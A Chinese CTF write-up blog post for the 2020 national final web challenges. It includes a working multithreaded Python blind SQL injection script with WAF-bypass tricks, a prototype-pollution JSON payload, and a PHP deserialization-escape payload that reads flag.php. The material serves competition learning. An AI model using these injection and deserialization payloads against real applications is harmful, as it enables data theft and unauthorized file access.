Toc
  1. 签到
  2. web1
  3. web2
  4. web3
Toc
0 results found
Rayi
2020国赛决赛-web-WriteUp
2020/10/03 WriteUp

ylbnb

web题不是很难,都比较眼熟,估计是ylb临时找的题

签到

解压出s2.txt

内容:

c3ludHt6bGhhcnc2Mm9uYzIwOW1tfQ==

base64decode:

synt{zlharw62onc209mm}

凯撒解密:偏移量是13

flag{myunej62bap209zz}

web1

sql注入,id和limit过滤的不一样

过滤空格 ,用注释符绕过

过滤逗号,用from for和case when绕过

过滤等号,用regexp绕过

过滤substr,用mid绕过

布尔盲注

import requests
import time
import threading
import string

s1 = threading.Semaphore(30)#这儿设置最大的线程数 
count = 60#预估字符数
result = []

for c in range(count):
    result.append('')
def get_content(pos):
    s1.acquire()
    url = "http://172.1.27.10/?id=0/*1*/or/*1*/0/*&limit=1*/or/*1*/"
    payload = 'case/*1*/when/*1*/((mid((select/*1*/flag/*1*/from/*1*/real_flag)/*1*/from/*1*/{}/*1*/for/*1*/1)regexp({})))/*1*/then/*1*/1/*1*/else/*1*/0/*1*/end'
    headers = {
    'Content-Type':'application/x-www-form-urlencoded'
    }
    for i in string.printable:
        tmp_url = url+payload.format(str(pos),hex(ord(i)))
        #print(tmp_url)
        web = requests.post(tmp_url,headers=headers)
        if 'this_is_a_fake' in web.text:
            result[pos-1]=i
            print(result)
            print(''.join(result))
            break 
        time.sleep(0.5)
    s1.release()
    
for i in range(1,count):
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

web2

打开源码看到DASCTF真实惊到我了,后来才知道是ylb临时找y1ng师傅要的题。。。

不是很难

先把大体流程看一遍,搞明白游戏的具体流程,就能发现在计算玩家和怪物的buff的时候,有个bug

第一次计算buff时,在某些特定情况下,player.buffmonster.buff都是未赋值的。

也就是说我们可以利用原型链污染吧buff改成很大很大或负数,来赢得关卡

但是因为赋值的地方是这样写的

image-20201003185254890

我们没有办法污染到monster,只能改改player

于是乎,构造payload,要注意选的人物和物品都不要对player.buff做更改

image-20201003185456524

image-20201003185438114

{"name":"Rayi","item":"ZLYG","career":"high_priest","__proto__":{"buff":100000}}

拿到flag

image-20201003185515520

web3

反序列化逃逸

image-20200929112745300

waf会过滤反序列化好的字符串,导致序列化的结构出现问题

从这里读文件

image-20200929112842102

每过滤一个特定字符串,就可以多一个溢出的字符

update方法从更改密码处触发

payload不能直接写在更改密码的地方,有限制,因此要利用注册时的password写入payload

注册时pasword,利用S和16进制绕过flag关键字

flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:12:"old_paswword";s:1:"1";s:12:"old_pacsword";s:1:"1";S:13:"\00User\00content";O:4:"User":6:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";s:3:"age";s:1:"c";s:5:"email";s:1:"d";S:12:"\00User\00avatar";S:8:"\66\6c\61\67\2e\70\68\70";S:13:"\00User\00content";s:0:"";}}

登录后,这里有个update

image-20200929113243889

这里的old_password要填,因为之前注册时的password已经被过滤了

old_password=indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex&update_password=2&update_age=1&update_email=1@2.com

然后即可得到flag

image-20200929113905488

ps:应该还有一个做法是利用phar,最后才发现

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!